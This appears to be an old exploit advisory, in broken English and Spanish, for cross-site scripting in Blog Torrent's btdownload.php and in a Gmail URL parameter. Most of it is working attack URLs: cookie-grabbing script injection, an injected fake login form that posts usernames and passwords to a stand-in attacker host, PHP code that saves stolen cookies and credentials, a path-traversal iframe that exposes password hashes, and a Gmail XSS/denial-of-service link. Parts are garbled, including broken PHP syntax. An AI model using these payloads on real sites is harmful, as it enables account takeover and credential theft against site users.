Blogs torrent is a web php script for managing
torrent links and users fron the blog and other options...

Variable 'file' in Blog Torrent 'btdownload.php'have and input
validation error and permits insert javascripts and execute code
and remote file inclusion, remote command execution Vulnerability

froof of concept :

get cookie session:

http://[target]/bittorrent_module/btdownload.php?
file=<script>alert(document.cookie)</script>

http://[target]/bittorrent_module/btdownload.php?
file=<script>document.write(document.cookie)</script>

insert content :

http://[target]/bittorrent_module/btdownload.php?

file=<img%20src=http://www.google.es/images/logo_sm.gif>

insert remote web :

http://[target]/bittorrent_module/btdownload.php?
file=<iframe%20src=http://www.google.es/></iframe>

insert remote data base:

http://[target]/bittorrent_module/btdownload.php?
file=<form%20action="http://www.atacker.com/savedb.php"%
20method="post">Username:<input%20name="username"%20type=
"text"%20maxlength="30">Password:<input%20name="password"
%20type="text"%20maxlength="30"><input%20name="login"%20
type="submit"%20value="Login"></form>

in sabedb.php i have query strings to save variables password

and username

sabedb.php obtain the cookie

<?

$archivo = 'tostada.txt';

$fp = fopen($archivo, "a");

$string = "$cookie";

$write = fputs($fp, $string);

fclose($fp);

?>

and save it into a txt

and save the user and password

<?php

mysql_db_query("passwordssss","insert into $usuario (usuario,pass)

values ('$usuario','$password')";

?>

whith this values what user put and sabe in a lite data base contains

only 2 tables password & username :)

disclosure username and password hash

http://[target]/torrent_blog/btdownload.php?file=<iframe%20src=../data/users></iframe>

Denial of service On gmail account

Si un usuario tiene activa su cookie de Gmail podria
ser vulnenable a este tipo de atake ,en el cual podriamos
llegar hasta denegar el sevicio.

Denial of service On gmail account

vendor url: http://gmail.google.com/

vendor notified:yes exploit included :yes

original advisore:http://lostmon.spymac.net/blog/

########################################

si un usuario tiene activa su cookie de ge mail podria ser

vulnenable a este tipo de atake ,en el cual podriamos llegar

hasta denegar el sevicio.

Asi un usuario mal intencionado podria crear una url mal intencionada y...

1- modificar o digamos engañar al usuario con una etiketa inexsitente:

http://gmail.google.com/gmail?search=cat&cat=[label_name]
&view=tl&start=0&zx=

como vemos el boton "remove label" nos muestra el titulo incluido en
[label_name] el cual puede no existir

2-Cross-site scripting:

la variable Zx no comprueba ni la longitud intrudicida ni si lo

introducido es correcto permintiendonos incluir codigo script para ser ejecutado.

http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=
8acabd2b173f0d81040559556[XSS-code]&fs=1

3- probocando una denegacion del servicio :)

al permitir la variable zx ejecusion de codigo cualkier codigo ke usemos hara que la variable fs se repita y repita y repita como resultado se obtendra una denegacion de servicio ya que el usuario no podra ver la pagina de gmail al estar "actualizando" cada vez :


http://gmail.google.com/gmail?search=cat&amp;amp;amp;amp;amp;amp;cat=etiketa&
view=tl&start=0&zx=18acabd2b173f0d81040559556%3Cscript%3Ealert
(document.cookie)%3C%2Fscript%3E&fs=1
